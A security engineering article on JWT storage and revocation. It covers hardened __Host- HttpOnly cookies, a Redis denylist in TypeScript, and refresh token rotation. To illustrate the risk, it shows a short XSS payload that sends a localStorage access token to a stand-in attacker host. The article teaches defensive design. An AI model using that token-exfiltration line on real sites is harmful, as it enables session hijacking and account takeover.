Storing JSON Web Tokens inlocalStorageis one of the most persistent security anti-patterns in modern web architecture and "stateless" JWT authentication without a revocation mechanism is an incident waiting to happen.
Developers love putting JWTs inlocalStoragebecause it feels clean: attach anAuthorization: Bearer your-tokenheader in JavaScript, verify the cryptographic signature on the backend, and skip database session lookups entirely.
In production, that design breaks down on two fronts: any single third-party script vulnerability can exfiltrate every active user's token in two lines of JavaScript, and when a user's account is compromised or their role is downgraded, you have no way to invalidate their token until it expires.
WhylocalStorageTurns Minor XSS into Full Account Takeover
localStoragehas zero isolation from JavaScript running on your origin. Every analytics script, A/B testing snippet, npm dependency, or unescaped user-input bug shares full read/write access towindow.localStorage.
If an attacker exploits a minor Cross-Site Scripting (XSS) flaw anywhere on your domain, they do not need to hijack the user's active tab. They run a silent payload:
fetch('https://attacker.example/collect', {
method: 'POST',
body: JSON.stringify({ token: localStorage.getItem('access_token') })
});Because the JWT is self-contained and valid from any IP address, the attacker can replay that token from their own machine for hours or days, even after the victim closes their browser or changes their password. Moving tokens tosessionStorageoffers only marginal improvement: it still exposes the token to any XSS executing inside the active tab and breaks multi-tab user sessions.
Migrating Session Transport to Hardened__Host-Cookies
Moving tokens into anHttpOnlycookie removeswindow.localStorageexposure completely. JavaScript cannot read or exfiltrate the credential even if an XSS payload executes.
However, a naiveSet-Cookie: token=...introduces Cross-Site Request Forgery (CSRF) and subdomain cookie-tossing risks. Lock down the cookie with strict prefix and attribute hardening:
Set-Cookie: __Host-session=your-session-token;
Path=/;
Secure;
HttpOnly;
SameSite=Lax;
Max-Age=900Each flag enforces a specific browser-level security guarantee:
__Host-prefix:Forces browsers to reject the cookie unlessSecureis set,Path=/is exact, and noDomainattribute is specified, preventing compromised subdomains (blog.example.com) from overwriting cookies on your main app.HttpOnly:Blocksdocument.cookieaccess completely.SameSite=Lax(orStrict):Prevents browsers from attaching the cookie on cross-sitePOST,PUT, orDELETErequests, neutralizing classic CSRF attacks without needing complex anti-CSRF token plumbing for standard JSON APIs.Max-Age=900:Keeps the access token short-lived (15 minutes) and pairs it with a rotating, single-use refresh token stored in a separate__Host-refreshcookie scoped strictly toPath=/api/auth/refresh.
Mitigating Same-Site XSS Actions Without Token Theft
Even withHttpOnlycookies, an XSS payload running on your origin can still make authenticatedfetch('/api/account/email', { method: 'POST' })requests on behalf of the active user while the tab remains open. The critical difference is containment: once the user closes the tab or you patch the XSS flaw, the attacker has no stolen credential they can replay indefinitely from outside your network. PairHttpOnlycookies with a strict Content Security Policy (script-src 'self') and step-up authentication (requiring current password or passkey re-verification) on sensitive mutations like email changes, API key creation, and payout destinations.
The "Stateless JWT" Myth: Why You Still Need Revocation
The primary selling point of JWTs is avoiding a database lookup on every API request. Yet in any real B2B or consumer application, you must be able to revoke access immediately when:
A user clicks"Log out of all devices."
An admin revokes an employee's permissions, removes them from an organization, or suspends a compromised account.
Refresh token reuse is detected (indicating a stolen token pair).
A user changes their password or rotates MFA credentials.
If your access token has a 15-minute TTL and zero server-side state, a suspended user or terminated employee retains full API access for up to 15 minutes after revocation. For admin panels, financial endpoints, or permission downgrades, a 15-minute exposure window is unacceptable.
Sub-Millisecond Revocation with a Bounded Redis Denylist
You do not need to abandon JWTs or hit PostgreSQL on every request to solve revocation. Instead, embed a unique token ID (jti) and user security version (ver) inside the JWT claims, and check a bounded Redis deny list during authentication middleware.
Because access tokens expire every 15 minutes, revokedjtientries only need to live in Redis for the remaining lifetime of that token, keeping total memory usage tiny even at millions of daily active users:
import { createClient } from 'redis';
import jwt from 'jsonwebtoken';
const redis = createClient({ url: process.env.REDIS_URL });
interface AccessTokenClaims {
sub: string; // user_id
jti: string; // unique token UUID
ver: number; // user security_version (incremented on password/role change)
exp: number; // expiration unix timestamp
}
// 1. Revoke a specific token OR invalidate all tokens for a user instantly
export async function revokeUserSessions(
userId: string,
tokenJti?: string,
exp?: number
): Promise<void> {
const multi = redis.multi();
// Increment user's minimum valid token version (invalidates all existing tokens globally)
multi.incr(`auth:user_min_ver:${userId}`);
// Optionally block a single compromised JTI until its natural expiration
if (tokenJti && exp) {
const ttlSeconds = Math.max(1, exp - Math.floor(Date.now() / 1000));
multi.set(`auth:revoked_jti:${tokenJti}`, '1', { EX: ttlSeconds });
}
await multi.exec();
}
// 2. Fast middleware check (~0.3ms in-memory lookup)
export async function verifyAccessToken(rawToken: string): Promise<AccessTokenClaims> {
const claims = jwt.verify(rawToken, process.env.JWT_PUBLIC_KEY!, {
algorithms: ['RS256'],
}) as AccessTokenClaims;
const [isRevoked, minVersionRaw] = await redis.mGet([
`auth:revoked_jti:${claims.jti}`,
`auth:user_min_ver:${claims.sub}`,
]);
if (isRevoked === '1') {
throw new Error('TOKEN_REVOKED');
}
const minVersion = minVersionRaw ? parseInt(minVersionRaw, 10) : 0;
if (claims.ver < minVersion) {
throw new Error('TOKEN_VERSION_STALE');
}
return claims;
}This hybrid model preserves the best parts of both worlds: asymmetric cryptographic signature verification (RS256orES256) handles CPU-bound validation without touching your primary SQL database, while a single pipelinedMGETin Redis gives you instant, global revocation in under 0.5ms.
Refresh Token Rotation and Reuse Detection
Short-lived 15-minute access tokens only stay seamless for users when paired with silent refresh token rotation. Every time the client callsPOST /api/auth/refresh, the server issues a brand-new access token and a brand-new refresh token while immediately invalidating the previous refresh token.
Store refresh token family metadata in PostgreSQL or Redis so you can detect replay attacks:
Each login creates a
token_family_idwith a currentgenerationcounter.If a client presents
generation = 4when the database already recordedgeneration = 5, either the legitimate user or an attacker replayed an already-rotated token.Immediately revoke the entire
token_family_idand incrementauth:user_min_ver:${userId}, forcing both the attacker and legitimate user to re-authenticate cleanly.
Architecture Trade-Offs: When to Skip JWTs Entirely
Before adopting JWTs plus a Redis denylist, ask whether you actually need self-contained tokens at all:
Single Monolith or BFF Architecture
Opaque server-side session (Redis/DB): simpler and safer, with instant revocation and smaller cookie size. Zero token parsing bugs.
Short-lived JWT plus Redis denylist: unnecessary complexity unless downstream services verify tokens independently.
Multi-Service / Zero-Trust Mesh
Opaque server-side session (Redis/DB): every internal microservice must call an auth service or share Redis credentials.
Short-lived JWT plus Redis denylist: a strong fit. Internal services verify
RS256signatures locally using cached JWKS public keys.
Third-Party Mobile / CLI Clients
Opaque server-side session (Redis/DB): requires a bearer token wrapper outside browser cookies.
Short-lived JWT plus Redis denylist: a strong fit. Use short-lived
Beareraccess tokens plus rotating refresh tokens in the OS Keychain.
Payload Size Constraints
Opaque server-side session (Redis/DB): cookie stays 32 bytes regardless of how many roles or permissions a user has.
Short-lived JWT plus Redis denylist: packing 50 RBAC permissions into JWT claims bloats every HTTP header by 2–4KB.
Operational Failure Mode: Fail-Open vs. Fail-Closed
One critical operational rule if you adopt the Redis denylist:decide your failure mode before Redis blips.
Fail-Closed (recommended for high-risk mutations):On billing endpoints, admin panels, role changes, and password resets, reject requests with
503 Service Unavailableif Redis times out. Never allow a potentially revoked admin token to execute privileged writes during a cache outage.Fail-Open (optional for low-risk reads):On non-sensitive read endpoints, you can temporarily bypass the Redis denylist check when Redis is unreachable while firing a high-priority on-call alert, relying on the 15-minute cryptographic JWT expiration as your fallback ceiling until Redis recovers.
Verify yourjwks.jsonkey rotation schedule alongside your denylist TTLs: keep retired public signing keys published for at leastmax_access_token_ttl + clock_skew_buffer(typically 20 minutes) so valid tokens signed seconds before a key rotation don't fail signature verification prematurely.